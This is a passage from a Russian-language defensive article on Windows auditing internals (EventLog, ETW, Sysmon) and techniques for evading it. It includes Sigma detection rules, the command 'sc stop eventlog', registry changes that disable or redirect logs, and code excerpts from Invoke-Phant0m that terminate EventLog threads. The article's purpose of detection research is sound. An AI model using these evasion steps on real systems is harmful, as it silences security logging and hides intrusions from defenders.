Введение
В современных условиях потребители ИБ-услуг предъявляют повышенные требования к качеству телеметрии, которая служит основой для построения детектирующей логики в решениях типа EDR, XDR, SIEM, SOAR и других. Однако часто у заказчиков отсутствует четкое понимание, какую именно телеметрию и на каких уровнях операционной системы необходимо собирать для эффективного обнаружения различных видов атак.
В статье будут подробно рассмотрены события, которые можно получать на каждом уровне ОС — начиная с наиболее базовых, таких как журналы аудита или Sysmon, и углубляясь до более низких уровней, как ETW-провайдеры (при этом выделим наиболее полезные из них). Поговорим о том, как современные EDR могут перехватывать системные вызовы.
Дополнительно рассмотрим возможности обхода аудита на каждом из рассмотренных уровней.
Базовые утилиты для мониторинга Windows (Windows EventLog/Sysmon)
Когда речь заходит об аудите событий в операционной системе Windows, специалисты по информационной безопасности сразу же вспоминают два инструмента, которые де-факто стали стандартом в качестве источников событий для SIEM и других систем мониторинга безопасности:
- Windows EventLog.
- Sysmon.
Эти инструменты хорошо известны своими возможностями в отслеживании таких событий, как запуск процессов, доступ к файлам, создание ключей реестра и многих других. В большинстве материалов, посвященных их использованию, акцент делается на их практическом применении: настройке, фильтрации и интеграции с системами мониторинга.
Далее мы сосредоточимся на принципах работы этих инструментов, рассмотрим, как они функционируют на уровне операционной системы, какие пробелы в безопасности могут возникать из-за их архитектуры, а также какие потенциальные техники обхода могут быть связаны с их работой.
Принцип работы Windows EventLog
Windows EventLog представляет собой встроенную подсистему записи событий. В рамках ИБ она является важным источником информации для расследования инцидентов, мониторинга активности пользователей и системного мониторинга.
Глобально логи делятся на:
- Windows Logs — стандартные логи аудита Windows, их источником в основном является само ядро ОС.
- Applications and Services Logs — логи, источник событий которых находится в пользовательском пространстве (приложения, сервисы, программы).
Такое разделение помогает администраторам и специалистам по информационной безопасности более эффективно организовывать мониторинг и анализ событий в зависимости от их источника, назначения и контекста самого журнала.
Далее предлагаем вместе с нами рассмотреть весь путь генерации события из журналов Windows Logs и Applications. В качестве примера возьмем из этих журналов по одному из наиболее популярных событий, которые часто используются в качестве телеметрии для SIEM:
- Windows Logs => Security => EventId 4688 (A new process has been created) — событие создания нового процесса.
- Applications and Services Logs => Microsoft => Windows => PowerShell => Operational => 4104 (PowerShell scriptblock logging) — событие, которое генерируется при исполнении PowerShell-скрипта.
ETW 101
Для того чтобы понимать, о чем пойдет речь в дальнейшем, напомним, что такое ETW (Event Tracing for Windows).
ETW — это технология, встроенная в Windows, позволяющая детализировано отслеживать события от различных источников. Это могут быть как события уровня ядра, так и события пользовательского режима.
В рамках работы ETW существуют следующие ключевые сущности:
- Провайдеры
- Контроллеры
- Сессии
- Потребители
Провайдеры — это источники телеметрии. Они генерируют события и записывают их в ETW-сессии. Провайдеры могут быть как в пользовательском режиме, так и в режиме ядра.
Контроллер — сущность, которая отвечает за управление ETW-сессией (включение, выключение, создание). К примеру, встроенная утилита logman исполняет роль контроллера.
Сессия — пересылает события от поставщика к потребителю с помощью буфера.
Потребитель — приложение, которое получает события из сессий, например, служба EventLog.
Провайдеры пользовательского режима — это процессы и службы, которые регистрируют себя как источник определенного типа событий для существующего провайдера.
В случае провайдеров режима ядра источником событий является само ядро.
Также у провайдеров есть:
- KeyWords — битовая маска, определяющая категории событий внутри провайдера.
- Уникальный GUID. Однозначный идентификатор определенного провайдера.
Генерация события запуска процесса
Для того чтобы понять, где именно генерируется событие запуска процесса, посмотрим на полную цепочку действий при генерации события:
Шаг 1–4: стандартный запуск процесса в UserMode. Вызов функции-обертки CreateProcessW() в kernel32.dll, которая, в свою очередь, вызывает соответствующую функцию в kernelbase.dll. Здесь происходит подготовка аргументов, а также различные проверки. Дальше идем к границе с KernelMode, в функцию NtCreateUserProcess() библиотеки ntdll.dll, которая вызывает инструкцию системного вызова (прерывания) с соответствующим номером syscall (SSN).
Шаг 5: инструкция syscall вызывает ядерную функцию KiSystemCall64(), которая принимает в регистре RAX номер нужного системного вызова (SSN).
Шаг 6: KiSystemCall64() обращается к таблице SSDT (System Service Descriptor Table) и сопоставляет номер системного вызова и смещение. По этому смещению и будет находится сама реализация системного вызова, в нашем случае — функция запуска процесса.
Шаг 7: ядерная функция NtCreateUserProcess() является самой главной функцией при запуске процесса. Она отвечает за вызовы всех остальных нужных функций ядра, которые необходимы для запуска процесса (создание структур _KPROCESS, _KTHREAD, их заполнение, создание секций в памяти).
В этой же функции можно найти вызов:
inserted = PspInsertProcess(v86, v93, v68, a7, *((_QWORD *)&v118[8] + 1), v89, v70, v119);
Эта функция отвечает за добавление процесса в глобальный список процессов ядра.
В начале этой функции происходит проверка того, включен ли аудит для этой категории событий (запуск процессов):
if ( (unsigned __int8)SeAuditingWithTokenForSubcategory(134LL, 0LL) )
SeAuditProcessCreation(BugCheckParameter1);
Если аудит включен, то вызывается функция SeAuditProcessCreation().
Далее вызывается цепочка функций, которая в итоге формирует событие и передает все в конечную функцию EtwWriteKMSecurityEvent(), которая отправляет событие в ETW-провайдер Microsoft-Windows-Security-Auditing.
SepAdtLogAuditRecord() => SepQueueWorkItem() => SepRmCallLsa() => AdtpWriteToEtw() => EtwWriteKMSecurityEvent()
v5 = EtwWriteKMSecurityEvent(&v25, v8, v22[0], (unsigned __int64)v32 & -(__int64)(v22[0] != 0));
Описанной выше цепочкой вызовов формирование события в ядре заканчивается. Теперь рассмотрим процесс получения событий службой EventLog.
EventLog get Security Events (получение событий службой EventLog)
Что мы знаем в теории?
- Для того чтобы собирать события с провайдера, нужно подписаться на одну из его сессий.
- У каждого провайдера есть свой уникальный GUID.
- Предположение о том, что сам EventLog подписывается на провайдера.
Начнем с GUID провайдера Microsoft-Windows-Security-Auditing: {54849625-5478-4994-a5ba-3e3b0328c30d}.
Если перевести этот GUID в HEX-формат, то можно получить последовательность байтов: 25 96 84 54 78 54 94 49 a5 ba 3e 3b 03 28 c3 0d.
Если поискать по последовательности байтов в исполняемом файле службы EventLog (wevtsvc.dll), то увидим, что данный GUID в нем действительно существует:
По адресу в секции .rdata можно найти переменную SecurityProviderGuid:
Построив перекрестную ссылку, находим, что переменная используется в единственной функции — GetLegacyChannel().
Далее, исходя из того как используется данный GUID в функции, можно предположить, что на основе пришедшего события с определенным GUID выбирается, в какой журнал оно будет записано.
Действительно, для нашего SecurityProvider выбирается журнал Security.
Саму функцию GetLegacyChannel() вызывает функция ProcessEvent(), которой на вход передается структура _EVENT_RECORD:
Если проследовать по цепочке вызовов, то в конечном счете можно прийти к функции EtwEventCallback(), которая и является точкой входа для получения событий с ETW-провайдера (callback-функцией, обрабатывающей полученное событие):
Чем обрабатывается пришедшее событие, мы нашли. Но есть ли момент подписи на провайдера? Для этого обратимся к ETW-API-функциям, которые реализованы в NTDLL и поищем использование этих функций в нашей службе.
Находим вызов функции OpenTraceW() в методе StartProcessingEvents().
https://learn.microsoft.com/en-us/windows/win32/api/evntrace/nf-evntrace-opentracew
Данная функция буквально открывает дескриптор ETW-сеанса:
ETW_APP_DECLSPEC_DEPRECATED PROCESSTRACE_HANDLE WMIAPI OpenTraceW(
[in, out] PEVENT_TRACE_LOGFILEW Logfile
);
На вход функции OpenTraceW() передается структура PEVENT_TRACE_LOGFILEW, в которой можно указать callback-функцию обработчика пришедших событий в поле EventCallback. Это как раз наш обработчик EtwEventCallback(struct _EVENT_RECORD), который мы нашли ранее.
typedef struct _EVENT_TRACE_LOGFILEW {
LPWSTR LogFileName;
LPWSTR LoggerName;
LONGLONG CurrentTime;
ULONG BuffersRead;
union {
ULONG LogFileMode;
ULONG ProcessTraceMode;
} DUMMYUNIONNAME;
EVENT_TRACE CurrentEvent;
TRACE_LOGFILE_HEADER LogfileHeader;
PEVENT_TRACE_BUFFER_CALLBACKW BufferCallback;
ULONG BufferSize;
ULONG Filled;
ULONG EventsLost;
union {
PEVENT_CALLBACK EventCallback;
PEVENT_RECORD_CALLBACK EventRecordCallback;
} DUMMYUNIONNAME2;
ULONG IsKernelTrace;
PVOID Context;
} EVENT_TRACE_LOGFILEW, *PEVENT_TRACE_LOGFILEW;
Обработчик должен принимать на вход структуру _EVENT_RECORD, что и происходит в нашем случае.
Таким образом мы поняли, что сама служба EventLog подписывается на провайдера Microsoft-Windows-Security-Auditing и в дальнейшем занимается обработкой его событий (в том числе событий запуска процесса).
Генерация события PowerShell ScriptBlock
В отличии от события запуска процесса, журнал, который содержит события запуска ScriptBlock, находится по пути Applications and Services Logs => Microsoft => Powershell.
Из этого можно сделать вывод, что провайдер, скорее всего, является провайдером пользовательского режима и события генерируются в данном случае не в ядре, а в UserMode-приложении.
Для начала найдем уникальный GUID провайдера, используя утилиту ETW Explorer:
Видим искомое нами событие 4104 в провайдере Microsoft-Windows-PowerShell. GUID — {A0C1853B-5C40-4B15-8766-3CF1C58F985A}.
Также существует возможность просмотра того, для какого провайдера процесс является поставщиком. Это делается с помощью встроенной утилиты Windows — logman:
logman query providers -pid <process pid>
Запустим процесс powershell.exe и посмотрим, каким провайдерам он поставляет события. Провайдер Microsoft-Windows-PowerShell присутствует в этом списке.
Провайдер Microsoft-Windows-PowerShell существенно отличается от провайдера Microsoft-Windows-Security-Auditing, ведь поставщиком событий в данном случае является пользовательский процесс, а не само ядро, как в случае с событием 4688.
При таком варианте провайдера путь генерации события и его доставки в EventLog выглядит следующим образом:
- При старте процесс powershell.exe вызывает цепочку ETW-API-функций, в итоге приходя в ntdll:EtwNotificationRegister() для того, чтобы зарегистрировать себя как поставщика событий для нужных ему провайдеров. Среди этих провайдеров есть искомый нами Microsoft-Windows-PowerShell. Если посмотреть в определение функции, то мы увидим, что первым аргументом как раз является уникальный GUID провайдера, в который процесс хочет отправлять события:
EtwNotificationRegister (
LPCGUID Guid,
ULONG Type,
PETW_NOTIFICATION_CALLBACK Callback,
PVOID Context,
REGHANDLE *RegHandle);
Теперь можно найти момент регистрации powershell.exe как поставщика, установив точку останова на входе в функцию EtwNotificationRegister() и проверив значения, на которые указывает регистр RCX, поставив точку останова с условием проверки первых байтов по указателю. Если перевести GUID {A0C1853B-5C40-4B15-8766-3CF1C58F985A} в HEX, получим: 3b85c1a0405c154b87663cf1c58f985a:
- EtwNotificationRegister() вызывает функцию EtwpRegisterProvider(), которая в свою очередь вызывает NtTraceControl().
- NtTraceControl() совершает системный вызов:
NtTraceControl (
ULONG FunctionCode,
PVOID InBuffer,
ULONG InBufferLen,
PVOID OutBuffer,
ULONG OutBufferLen,
ULONG *ReturnSize);
Обратим внимание на первый аргумент — FunctionCode. В ядре на основе FuncitonCode через конструкцию switch-case выбирается действие:
- Функция EtwpRegisterUMGuid() в свою очередь регистрирует UserMode-поставщика событий (процесс powershell.exe) и отождествляет его с общим провайдером Microsoft-Windows-PowerShell.
- Теперь любой процесс, который захочет получать события от провайдера Microsoft-Windows-PowerShell, может открыть сессию и получать события со всех инстансов поставщиков этого провайдера (например, с нескольких процессов powershell.exe). После регистрации поставщика функция EtwNotificationRegister() возвращает указатель на RegHandle. Этот указатель является дескриптором зарегистрированного поставщика событий. В нашем случае поставщик — сам процесс powershell.exe.
Далее сервис EventLog по аналогии с Security-провайдером открывает сессию с ETW-провайдером Microsoft-Windows-PowerShell, получая события со всех поставщиков, которые были ассоциированы с этим провайдером.
Сами процессы powershell.exe генерируют события и отправляют их через системный вызов EtwWriteTransfer(), используя RegHandle, полученный ранее. Получается, что в случае с UserMode-провайдерами им тоже требуется проделать путь через ядро, чтобы событие было ассоциировано с определенным провайдером. После чего потребители вроде EventLog могут подключаться к сессиям и получить события.
NTSTATUS EtwWriteTransfer(
[in] REGHANDLE RegHandle,
[in] PCEVENT_DESCRIPTOR EventDescriptor,
[in, optional] LPCGUID ActivityId,
[in, optional] LPCGUID RelatedActivityId,
[in] ULONG UserDataCount,
[in, optional] PEVENT_DATA_DESCRIPTOR UserData
);
Принцип работы Sysmon
Sysmon — это утилита, которая значительно расширяет возможности стандартного аудита Windows. На первый взгляд, она также может получать события запусков процессов, создания файлов, изменений в реестре, но у Sysmon и EventLog есть существенные отличия в принципе работы.
Sysmon состоит из двух компонентов:
- Служба Sysmon.exe (usermode-компонент);
- Драйвер SysmonDrv.sys (kernelmode-компонент).
Далее рассмотрим его принцип работы.
Регистрация событий Sysmon от ядерных callback-функций
В Windows существуют специальные функции-регистраторы callback-функций на определенные события. В случае запуска процесса регистратором является функция PsSetCreateProcessNotifyRoutine():
NTSTATUS PsSetCreateProcessNotifyRoutine(
[in] PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
[in] BOOLEAN Remove
);
NotifyRoutine — точка входа в callback-функцию, которая отработает при запуске процесса;
Remove — булево значение, определяющее операцию с callback-функцией (если false — добавляется в список, если true — удаляется).
Данные callback-функции регистрируются драйверами режима ядра. В случае Sysmon это SysmonDrv.sys.
Если посмотреть в драйвер Sysmon и погрузиться в то, что происходит после DriverEntry(), мы дойдем до момента регистрации callback-функции на запуск процесса:
ProcessNotifyRoutine = PsSetCreateProcessNotifyRoutine(NotifyRoutine, a1 == 0);
void __fastcall NotifyRoutine(HANDLE ParentId, HANDLE ProcessId, __int64 Create)
{
NotifyRoutineInternal(ParentId, ProcessId, Create, 0LL);
}
Далее функция NotifyRoutineInternal заполняет структуру события, получая информацию о процессе, и передает событие в функцию ProcessingEvents():
void __fastcall NotifyRoutineInternal(void *a1, void *a2, char a3, __int64 a4)
{.......
ZwQueryInformationProcess(ProcessHandle, ProcessSessionInformation, &ProcessInformation, 4u, 0LL);
.......
*v28 = 3;
v28[1] = v26;
v28[6] = ProcessInformation;
v28[8] = (_DWORD)a2;
*((_QWORD *)v28 + 5) = MEMORY[0xFFFFF78000000014];
sub_180007120(&v36, 1LL, v28 + 14, v28 + 12);
ProcessingEvents(v28);
........
}
Внутри ProcessingEvents() драйвер Sysmon заполняет очередь событий EventsQueue. Очередь представляет собой Circular Linked List и заполняется новыми событиями следующим образом:
void __fastcall ProcessingEvents (char *P, __int64 a2, char a3)
{.....
if ( v12 != &EventsQueue )
ExReleaseFastMutex(&stru_180027E40);
ExFreePoolWithTag(v15[3], 0);
ExFreePoolWithTag(v15, 0);
}
v25 = (PVOID **)v12[1];
if ( *v25 == v12 )
{
*v14 = v12; // v14 - новое событие
v14[1] = (PVOID *)v25; // помещаем в конец кольцевого листа и настраиваем указатели
*v25 = (PVOID *)v14;
v12[1] = v14;
ExReleaseFastMutex(v9);
return;
}
.....
}
На этом обработка событий от коллбэков закончена, остается забрать события из драйвера в UserMode.
Регистрация событий мини-фильтра Sysmon
События файловой системы в Sysmon (как и события, связанные с пайпами) собираются с помощью мини-фильтра файловой системы. Подробнее о самой концепции фильтров файловой системы можно почитать здесь.
Если коротко: зарегистрировав специальным образом созданный драйвер мини-фильтра в ОС Windows, можно использовать его для анализа операций на файловой системе.
Рассмотрим, как устроена регистрация и принцип работы фильтра файловой системы в Sysmon.
За подготовку к регистрации фильтра отвечает следующая функция:
В строке 20 вызывается функция FltRegisterFilter(), в параметрах которой находится указатель на структуру FLT_REGISTRATION *Registration. Внутри этой структуры располагается указатель на массив структур FLT_OPERATION_REGISTRATION, которые, в свою очередь, указывают на то, как должна обрабатываться та или иная операция.
Остановимся подробнее на самых важных элементах структуры:
- MajorFunction — тип обрабатываемого запроса (IRP — I/O request packet, подробнее смотрите тут.
- PreOperation — callback-функция, которая обрабатывает запрос перед его выполнением.
- PostOperation — callback-функция, которая обрабатывает запрос после его выполнения.
В Sysmon массив структур FLT_OPERATION_REGISTRATION выглядит следующим образом:
На скриншоте можно увидеть, что обрабатываются следующие операции: IRP_MJ_CREATE, IRP_MJ_WRITE, IRP_MJ_CLEANUP, IRP_MJ_SET_INFORMATION, IRP_MJ_CLOSE, IRP_MJ_CREATE_NAMED_PIPE.
Из интересного — все функции PreOperation/PostOperation одинаковы для каждого типа операций, каждый запрос обрабатывается в формате одного большого switch-case по MajorFunction:
Теперь в драйвере содержится контекст события (информация о процессе, пользователе, сессии), собирается структура с событием и по аналогии с событием создания процесса отправляется в очередь.
Получение событий в UserMode
UserMode-агент — это служба Sysmon.exe, которая отправляет запросы в драйвер на получение накопленных событий (IRP-пакет) через функцию DeviceIoControl с уникальным кодом, который соответствует коду операций в обработчике драйвера Sysmon. Этот код операции буквально значит «отдай мне все накопленные события от коллбэков и мини-фильтра»:
if ( DeviceIoControl(hDevice, 0x83400004, 0LL, 0, v1, 0x40000u, &BytesReturned, &Overlapped) )
{
LABEL_39:
if ( BytesReturned >= 0x358 )
EventProcessing(v1);
case 0x83400004:
v17 = &EventsQueue;
v18 = &stru_180027E40;
v19 = &dword_1800278B0;
......
v20 = *v17; // Pointer to EventsQueue
// заполнение буфера который будет передан в UserMode
BufferFuller(SystemBuffer, *((char **)v20 + 3), (unsigned int)v20[4]);
......
// сигнал usermode, что irp-запрос выполнен и можно получать буфер
IofCompleteRequest(a2, 0)
Далее служба Sysmon в UserMode обрабатывает события и записывает их в ETW-провайдере Microsoft-Windows-Sysmon, который предварительно зарегистрировала на этапе установки Sysmon.
EventRegister из advapi32.dll реализует цепочку вызовов: advapi32:EventRegister() => ntdll:EtwEventRegister() => ntdll:EtwNotificationRegister(). Механизм регистрации точно такой же, как был ранее рассмотрен для провайдера Microsoft-Windows-PowerShell:
EventRegister = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD))GetProcAddress(ModuleHandleW, "EventRegister");
EventRegister(&sysmonProviderGUID, 0LL, 0LL, &RegHandleSysmon);
EventWrite(RegHandleSysmon, *((_QWORD *)a1 + 1), *a1, &EventBlock);
Также в ResourceHacker можно увидеть, что в сам бинарный файл Sysmon.exe зашит манифест ETW:
Помимо записи в ETW-провайдер Sysmon будет писать события напрямую в журнал EventLog, в случае если версия Windows ниже, чем Vista. Журнал событий создается на этапе установки Sysmon:
.data:00000001402F4108 lpDisplayName dq offset aSysmon ; DATA XREF: sub_1400E3CC0+BF↑r
.data:00000001402F4108 ; sub_140105AA0+2C↑r ...
.data:00000001402F4108 ; "Sysmon"
hEventLog = RegisterEventSourceW(0LL, lpDisplayName);
ReportEventW(hEventLog, 4u, 0, *((_DWORD *)a1 + 1), lpUserSid, wNumStrings, 0, Strings, 0LL)
Таким образом, Sysmon получает основной поток событий из kernelmode-компонента и пишет их в ETW-провайдер (или в журнал напрямую в качестве legacy).
На данном этапе схема получения события в Sysmon выглядит следующим образом:
Однако у Sysmon существуют и другие источники телеметрии помимо собственного драйвера. К событиям из других источников относятся:
- события сетевых соединений;
- события DNS-запросов;
- события WMI.
Регистрация сетевых событий и событий DNS
События сетевых соединений и DNS-запросов Sysmon получает в своей агентской части, то есть в службе Sysmon.exe. В ходе работы служба создает две ETW-сессии:
- SYSMON TRACE;
- SysmonDnsEtwSession.
Эти сессии связаны с двумя провайдерами:
- Microsoft-Windows-DNS-Client {1C95126E-7EEA-49A9-A3FE-A378B03DDB4D};
- NT Kernel Logger {9E814AAD-3204-11D2-9A82-006008A86939}.
Microsoft-Windows-DNS-Client — отвечает за регистрацию событий, связанных со службой клиента системы доменных имен (DNS). Эта служба обрабатывает преобразование доменных имен в IP-адреса путем запроса локальных кешей или удаленных DNS-серверов.
NT Kernel Logger — специальный ETW-провайдер ядра Windows, который предоставляет множество полезной телеметрии. Именно из-за его «специфики» в свойствах самой ETW-сессии не отображается его GUID (его мы найдем уже в самой реализации сбора событий).
В события, которые собирает NT Kernel Logger, входят:
- registry — все события взаимодействия с реестром;
- process — события запуска и завершения процессов;
- image_load — события загрузки образов в память и их маппинг;
- network — входящие/исходящие сетевые соединения;
- driver — события загрузки драйверов;
- file — события файловых операций;
- handles — события создания новых дескрипторов.
В случае Sysmon Microsoft-Windows-DNS-Client используется для получения событий DNS-запросов/ответов, а в случае NT Kernel Logger — для получения событий сетевых соединений (Sysmon EventID 3).
В целом взаимодействие с ETW API (создание сессий, ее активация, открытие сессии и связывание callback-функции с полученным событием) точно такое же, как и в случае с любым ETW-провайдером.
Регистрация сетевых событий
Для того чтобы зарегистрировать сетевые события, требуется:
- Создать сеанс трассировки с провайдером Nt Kernel Logger.
- Указать, какие события мы хотим получать.
- Активировать сессию и связать получение событие с обратным вызовом.
Ниже представлена реализация описанного алгоритма в Sysmon:
ULONG WMIAPI StartTraceW(
CONTROLTRACE_ID *TraceId,
[in] LPCWSTR InstanceName,
[in, out] PEVENT_TRACE_PROPERTIES Properties
);
Из скриншотов видно, что перед созданием сессии в структуре PEVENT_TRACE_PROPERTIES значение поля EnableFlags выставляется в 0x10000. Это и есть keyword, с помощью которого указывается, какие события хочет получать сессия. Сами keywords можно найти в свойствах провайдера:
Значению 0x10000 соответствуют события типа net — Network TCP/IP.
Переходим к тому, как реализовано получение событий DNS.
Регистрация событий DNS
События DNS собираются с ETW-провайдера Microsoft-Windows-DNS-Client, и принцип их сбора очень похож на предыдущий.
В данном случае фильтрация событий, которые мы хотим получать, производится в функции EnableTraceEx2().
ULONG WMIAPI EnableTraceEx2(
CONTROLTRACE_ID TraceId,
[in] LPCGUID ProviderId,
[in] ULONG ControlCode,
[in] UCHAR Level,
[in] ULONGLONG MatchAnyKeyword,
[in] ULONGLONG MatchAllKeyword,
[in] ULONG Timeout,
[in, optional] PENABLE_TRACE_PARAMETERS EnableParameters
);
В параметре Level указывается значение — 1, это тип событий TRACE_LEVEL_INFORMATION. MatchAnyKeyword и MatchAllKeyword установлены в значения 0. Это показывает, что сессия принимает события, не фильтруя их по ключевым словам. А параметр ProviderId задает тот самый провайдер Microsoft-Windows-DNS-Client, который будет включен в сессию.
Регистрация провайдера NT Kernel Logger в Sysmon значительно отличается от регистрации провайдера DNS. По той причине, что NT Kernel Logger является системным провайдером.
Далее мы открываем сессию и начинаем получать с нее события, обрабатывая их в указанном коллбэке:
В итоге справедливо будет добавить к общей картине работы Sysmon еще 2 источника событий в виде провайдеров NT Kernel Logger и DNS.
Регистрация событий WMI
Sysmon способен регистрировать события закрепления в системе через механизм WMI Subscription (события 19–21). Далее рассмотрим принцип генерации этих событий.
В начале Sysmon, используя механизмы COM, создает подключение к интерфейсу WMI ROOT\\Subscription:
Он делает это, используя COM-объект WBEMComLocator (CLSID: 4590F811-1D3A-11D0-891F-00AA004B2E24) и запрашивая его интерфейс IWbemLocator {IID: DC12A681-737F-11CF-884D-00AA004B2E24}:
У интерфейса IWbemLocator есть единственный метод: IWbemLocator::ConnectServer():
HRESULT ConnectServer(
[in] const BSTR strNetworkResource,
[in] const BSTR strUser,
[in] const BSTR strPassword,
[in] const BSTR strLocale,
[in] long lSecurityFlags,
[in] const BSTR strAuthority,
[in] IWbemContext *pCtx,
[out] IWbemServices **ppNamespace
);
Метод создает подключение через DCOM к пространству имен WMI, указанному в strNetworkResource, и возвращает в последнем аргументе указатель на объект IWbemServices. Интерфейс IWbemServices используется клиентами и поставщиками для доступа к службам WMI.
Далее создается stub-объект для маршалинга callback-функции. В результате мы получаем указатель на реализацию интерфейса IWbemObjectSink, внутри которого реализована callback-функция на получаемые события от WMI:
Следующий шаг — формирование фильтра WMI, на который будет срабатывать callback-функция:
Этот запрос получает события:
- операций над WMI Event Consumers;
- операций над WMI Event Filters;
- операций над связями Filter-Consumer.
(те самые события 19, 20, 21 Sysmon)
В итоге мы получили:
- указатель на интерфейс с реализацией callback-функции;
- подключение к пространству имен WMI ROOT\\Subscription (IWbemServices);
- сформированный фильтр, описывающий то, какие события мы хотим получать.
Теперь связываем все это с помощью вызова метода ExecNotificationQueryAsync() интерфейса IWbemServices.
HRESULT ExecNotificationQueryAsync(
[in] const BSTR strQueryLanguage,
[in] const BSTR strQuery,
[in] long lFlags,
[in] IWbemContext *pCtx,
[in] IWbemObjectSink *pResponseHandler
);
Таким образом, Sysmon получает события создания WMI Event Filters, WMI Event Consumers и создание Filter-Consumer Binding для отслеживания техники закрепления атакующих через механизмы WMI.
Итоговая схема потребления Sysmon событий выглядит следующим образом:
Техники обхода стандартного аудита
В данном разделе будут приведены примеры обхода стандартного аудита Windows (EventLog / Sysmon).
EventLog Evasion
Наиболее часто SOC-команды в качестве основной телеметрии с Windows-хостов используют EventLog. Эту службу удобно использовать как основной источник событий, так как события, которые приходят от провайдеров, записываются в журналы в известном, нормализованном виде, а сами логи хорошо документированы. В случае настройки дополнительного источника зачастую бывает достаточно включить его в групповых политиках.
Теперь, когда мы узнали, каким образом EventLog собирает события из провайдеров, рассмотрим некоторые техники обхода логирования.
Dummy EventLog Evasion
Здесь перечислены верхнеуровневые способы отключения стандартного аудита Windows.
Events Location Tampering
В ходе атаки злоумышленники могут попытаться изменить путь до .evtx-файлов конкретных поставщиков событий, модифицируя ветки реестра, отвечающие за настройки работы службы EventLog.
Критичной для отслеживания в данном случае является ветка реестра:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog
И ключ File, в котором хранится путь до файла .evtx, где будут записаны события определенного поставщика:
Если злоумышленнику удастся переписать данный ключ, события будут записываться не по стандартному пути \Windows\System32\winevt\Logs\Security.evtx, а в произвольный указанный evtx файл, что позволит обойти некоторые системы логирования, которые опираются на файлы журналов, а также скрыть forensic-артефакты.
Чтобы отслеживать подобные попытки изменения пути, следует настроить мониторинг ветки реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog и отслеживать изменения ключа File:
title: 4RAYS_WIN_RegistryEventLogModified_rule
id: efb4f83e-1810-4800-9a09-636547928490
status: stable
description: Detects a change to the standard path where .evtx logs are saved
author: SOLAR 4RAYS
date: 2025-09-18
modified: 2025-09-18
logsource:
category: registry_set
product: windows
detection:
RegistrySet:
RegKey|re:
- .*\\system\\(currentcontrolset|controlset001)\\services\\eventlog.*\\file.*
condition: RegistrySet
tags:
- attack.defense-evasion
- attack.t1562.002
level: medium
falsepositives:
- no known false-positives
Disabling log-channels via registry
В реестре присутствует значение, которое отвечает за включение/выключение определенного журнала событий. Найти данную настройку можно, к примеру, с помощью ProcMon. При отключении журнала сбора событий WMI, можно увидеть, что сервис EventLog изменяет значение реестра HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WMI-Activity/Operational\Enabled на 0.
Следовательно, злоумышленник может попытаться отключить таким образом определенный журнал событий. Детектируется подобная активность правилом на изменение ветки реестра:
title: 4RAYS_WIN_RegistryEvenLogChannelDisable_rule
id: 70f2181b-417e-4239-b77f-2f50613b952d
status: experimental
description: Detects disabling of the EventLog channel in the registry
author: SOLAR 4RAYS
date: 2025-09-22
modified: 2025-09-22
logsource:
category: registry_set
product: windows
detection:
RegistrySet:
RegKey|re:
- .*\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\.*\\Enabled
RegValue:
- dword (0x00000000)
condition: RegistrySet
tags:
- attack.defense-evasion
- attack.t1562.002
level: medium
falsepositives:
- possible legitimate event channel disabling
EventLog Service Stop
Самое очевидное поведение атакующих: попытка напрямую отключить службу EventLog через sc stop.
C:\Windows\system32>sc stop eventlog
title: 4RAYS_WIN_EventLogStopViaSCutil_rule
id: d415c397-d40e-4f8e-a8ea-31b045df8081
status: stable
description: Detects Eventlog disable via sc utility
author: SOLAR 4RAYS
date: 2025-09-22
modified: 2025-09-22
logsource:
category: process_creation
product: windows
detection:
SCutilDisableEventLog:
Image|endswith: \sc.exe
CommandLine|re: .*stop.*eventlog
condition: SCutilDisableEventLog
tags:
- attack.defense-evasion
- attack.t1562.002
level: high
falsepositives:
- no known false-positives
Advanced EventLog Evasion
Существует известная техника отключения потока событий в службе EventLog. Суть техники состоит в следующем:
- Мы находим хост-процесс, который отвечает за службу EventLog (svchost.exe).
- Открываем адресное пространство этого процесса.
- Манипулируем дескрипторами или потоками (закрываем/приостанавливаем, etc.).
- В итоге получается, что служба работает, а события не поступают.
На основе этой техники работают 2 существующих инструмента: Invoke-Phant0m и EvtPsst.
Invoke-Phant0m
Эта утилита требует прав локального администратора и работает по следующему алгоритму:
- С помощью WMI-запроса осуществляется поиск хост-процесса EventLog:
$Process in (Get-Process -Id (Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId)
- Для найденного процесса открывается его дескриптор с правами PROCESS_ALL_ACCESS (0x1F0FFF):
$ProcessHandle = $Kernel32::OpenProcess(0x1F0FFF, $false, $Process.Id
- Для полученного дескриптора вызывается функция SymInitialize(), тем самым загружая в процесс PDB. Таким образом, появляется возможность оперировать не только адресами функций, но и их именами:
$Dbghelp::SymInitialize($ProcessHandle, $null, $false)
- Далее инструмент проходится по всем потокам внутри процесса, открывая их дескрипторы и вызывая функцию StackWalk64(), тем самым получая адреса функций из стека вызовов в рамках потока:
do { # Get Stackframe
if (!$Dbghelp::StackWalk64($ImageType, $ProcessHandle, $hThread, $lpStackFrame, $lpContextRecord, $null, $FunctionTableAccess, $GetModuleBase, $null)) {
Write-Error "Unable to get stackframe for thread $ThreadId."
}
$StackFrame = [Runtime.InteropServices.Marshal]::PtrToStructure($lpStackFrame, [Type]$STACKFRAME64)
....
- Для каждого полученного адреса из стек-фрейма вызывается функция Get-SymbolFromAddress(), которая возвращает имя функции по ее адресу:
$Symbol = Get-SymbolFromAddress -ProcessHandle $ProcessHandle -Address $StackFrame.AddrPC.Offset
- На выходе получается набор следующих структур:
$Properties = @{
ProcessId = $ProcessId # procid
ThreadId = $ThreadId # threadid
AddrPC = $StackFrame.AddrPC.Offset # адрес текущей инструкции
AddrReturn = $StackFrame.AddrReturn.Offset # адрес возврата
Symbol = $SymbolName # имя функции по адресу
MappedFile = $MappedFile # файл модуля к которому замаплена функция
}
- Двигаясь в цикле по каждой такой структуре, Invoke-Phant0m ищет потоки, отвечающие за EventLog по следующей логике: замапленный файл для функции содержит подстроку 'evt’:
$eventLogThreads = $ReturnedObjects | Where-Object {$_.MappedFile -like '*evt*'} | %{$_.ThreadId }
- После чего с помощью функции TerminateThread() инструмент завершает все полученные потоки:
$kill = $Kernel32::TerminateThread($getThread, 1)
